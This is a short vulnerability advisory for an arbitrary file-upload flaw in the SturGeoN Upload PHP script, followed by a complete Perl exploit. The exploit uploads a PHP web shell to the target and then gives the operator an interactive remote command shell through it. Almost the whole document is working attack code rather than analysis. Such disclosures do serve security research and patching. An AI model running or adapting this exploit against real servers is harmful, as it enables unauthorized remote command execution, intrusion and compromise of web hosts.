source: http://www.securityfocus.com/bid/18764/info

SturGeoN Upload is prone to an arbitrary file-upload vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

#!/usr/bin/perl
#
#   VulnScr: SturGeoN Upload v1
#    Author: Jihad BENABRA
#  Download: http://rapidshare.de/files/24622338/2012_sturgeon-1.rar.html
#      WTF?: http://www.comscripts.com/scripts/php.sturgeon-upload.2012.html
#
#      Date: Sat July 1 10:04 2006
#   Credits: Vuln and Xpl by DarkFig (gmdarkfig@gmail.com)
# Advisorie: No, too short..
#   Problem: Do not filter the uploaded files
#   Exploit: Upload a php file (<? $cmd=stripslashes($cmd); system($cmd); ?>), give a shell.
#       URL: http://acidr00t.free.fr/poc/sturgeonupv1.txt
#
# +--------------------------------------------------+
# | SturGeoN Upload Remote Command Execution Exploit |
# +--------------------------------------------------+
#  [localhost]uname -a
#  Linux ws6 2.6.16-SE-k8 #6 SMP PREEMPT Thu May 11 18:19:55 UTC 2006 i686 GNU/Linux
#
#  [localhost]exit
# +--------------------------------------------------+
#
use IO::Socket;
use LWP::Simple;

header();
if(!$ARGV[2]){
  print "| Usage: <host> <path> <filename> -----------------|\n";
  print "+--------------------------------------------------+\n";
  exit;
}

my($host,$path,$file);
$host = $ARGV[0];
$path = $ARGV[1];
$file = $ARGV[2];

my $sock = IO::Socket::INET->new(
                                 PeerAddr => $host,
                                 PeerPort => 80,
                                 Proto => "tcp",
                                 ) or print "[-]Can't connect to the host\n" and the_end();

print "[+]Connected to the host\n";
print $sock "POST http://".$host.$path.$file." HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Content-Type: multipart/form-data; boundary=---------------------------4827543632391\r\n";
print $sock "Content-Length: 274\r\n\n";
print $sock "-----------------------------4827543632391\r\n";
print $sock "Content-Disposition: form-data; name=\"UpdFILE\"; filename=\"a485f48d65772f784ffec2ce690d0dd5.tmp.php\"\r\n";
print $sock "Content-Type: application/x-php\r\n\n";
print $sock "<?\r\n\$cmd=stripslashes(\$cmd);\r\nsystem(\$cmd);\r\n?>\r\n";
print $sock "-----------------------------4827543632391--\r\n\n";
close($sock);
print "[+]File must be uploaded\n";

while(1 ne 2) {
  print "[$host]";
  chomp($cmd = <STDIN>);
  if($cmd eq 'exit') { &the_end; }
  $req = get('http://'.$host.$path.'load/a485f48d65772f784ffec2ce690d0dd5.tmp.php?cmd='.$cmd) or print "[-]Exploit failed\n";
  print $req."\n";
}

sub header {
  print "\n+--------------------------------------------------+\n";
  print "| SturGeoN Upload Remote Command Execution Exploit |\n";
  print "+--------------------------------------------------+\n";
}

sub the_end {
  print "+--------------------------------------------------+\n";
  exit;
}